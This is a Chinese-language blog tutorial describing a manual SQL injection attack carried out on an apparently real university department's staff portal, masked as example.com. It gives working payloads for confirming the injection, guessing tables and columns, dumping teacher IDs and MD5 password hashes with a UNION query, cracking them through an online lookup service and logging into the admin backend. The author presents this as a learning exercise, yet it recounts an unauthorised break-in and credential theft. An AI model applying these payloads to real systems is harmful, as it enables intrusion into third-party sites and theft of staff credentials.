聲明:本文的目的是技術交流,請勿用於非常用途!一切後果本人概不負責。
/**********/
前言
/**********/
指令碼小子(scriptkiddie)是一個貶義詞,用來描述:以“駭客”自居並沾沾自喜的初學者。指令碼小子不像真正的駭客那樣發現系統漏洞,他們通常使用別人開發的程式來惡意破壞
他人系統。通常的刻板印象為一位沒有專科經驗的少年,破壞無辜網站企圖使得他的朋友感到驚訝。因而稱之為指令碼小子。他們常常從某些網站上複製指令碼代碼,然後到處粘貼,卻並不一定明白他們的方法與原理。他們欽慕於駭客的能力與探索精神,但與駭客所不同的是,指令碼小子通常只是對電腦系統有基礎瞭解與愛好,但並不注重程式語言、演算法、和資料結構的研究,雖然這些對於真正的駭客來說是必須具備的素質。
--------------------------------------------------------------
今天我要不藉助任何工具優雅的黑掉一個網站(
出於隱私和法律考慮,暫且把這個站叫做example.com)。
/**********/
準備工作
/**********/
google hack: inurl:?id= site:example.com
找到一個站:http://example.com/school/postgraduate/tutor_detail.php?id=1001
好,試一下:http://example.com/school/postgraduate/tutor_detail.php?id=1001'
發現返回錯誤頁面:
然後,再試:
http://example.com/school/postgraduate/tutor_detail.php?id=1001
and 1=1,返回正確
http://example.com/school/postgraduate/tutor_detail.php?id=1001
and 1=2,返回錯誤
-->說明存在數字型SQL注射漏洞(如果你不知道為什麼,那你就是script kiddie -_-)。
/**********/
開始Hack
/**********/
1)猜解表名
這個需要一些社交工程學(哈哈~)
首先,這是一個學校的某個學院網站,電子工程學院(ee),其次,這個系統是一個OA系統,再次,現在這個錯誤頁面是教師(teachers)資訊。。。。
最後,經過很多次(非常多次)的實驗,發現下面這條sql語句能夠返回正確的查詢結果:
and exists (select * from eeoa_teachers)
【注】:exists()函數用於檢查子查詢是否至少會返回一行資料。實際上不返回任何資料,而是返回True或者False。
實際執行的sql語句可能是這樣:
select * from someTable and exists(select * from eeoa_teachers)
好,這就說明存在eeoa_teachers這個表。
2)用UNION猜解當前表列數
方法一:
union select 1,2,3,4
方法二:
order by 4
(根據第4列排序,如果第4列存在,那麼返回正確,如果order by 5時返回錯誤,說明這個表有4列。)
執行成功的URI:
example.com/school/postgraduate/tutor.php?id=1001%20union%20select%201,2,3,4,5,6,7,8,9,10
最後得出當前表有10列。這有什麼用呢?
-->
一會要利用這個資訊執行union查詢,union查詢要求前後列數相等。
3) 破解列名:
猜username不對,那會是什麼呢?最後猜出的是jgh.為什麼是jgh呢?
--因為登陸頁面提示輸入“教工號”,以Chinese程式員的水平來說,這個欄位很有可能就是jhg啦(參考12306的url。。。)
同理,密碼也不是password,而是mm!!!哈哈哈
exists(select jgh, mm from eeoa_teachers)
返回還是正確。
【注】:常用的hack列名可以google之。
4)破解教工號:
因為網站設計者很不友好,提示輸入“10位教工號”,哈哈,那就好辦了,google一下這個學校的教工號,就找到規律了:年份(2014)+學院代碼(111)+個人編號(XXX)
只有10*10*10 == 1000種可能了。可不藉助工具還是比較多的。那麼,繼續google hack-->直接去找這個學院教師的通訊錄,居然找到了:eaxmple.com/eeoa/contact.php
OK,得到了近百位老師的教工號,那麼就無需破解了。
5)破解密碼:
要破解密碼,首先要拿到密碼。來吧!用union查詢可以辦得到。
union select 1,2,3,4,5,6,7,8,jgh,mm from eeoa_teachers
返回頁面是這樣的():
OK,我們得到了md5加密過的密碼,去www.md5online.comdecrypt一下,得到了幾個弱口令。
---------------------------------------------------------
(在這裡提醒下各位:最好不要用一些線上查md5加密的網站去查自己密碼的MD5,因為它會把你的查詢結果存入彩虹表裡!比如說,aE4v2z這樣一個密碼,我自己用代碼MD5加密,結果是385ad31a4c10a4da639184b9e5d4de36,然後上網上查是查不到的,可是如果我先查aE4v2z的MD5,再去查385ad31a4c10a4da639184b9e5d4de36,就會得到aE4v2z,是不是很危險?)
--------------------------------------------------------
6)登陸後台:
7)最後,就是想告訴自己:學好原理,別再做script kiddie啦!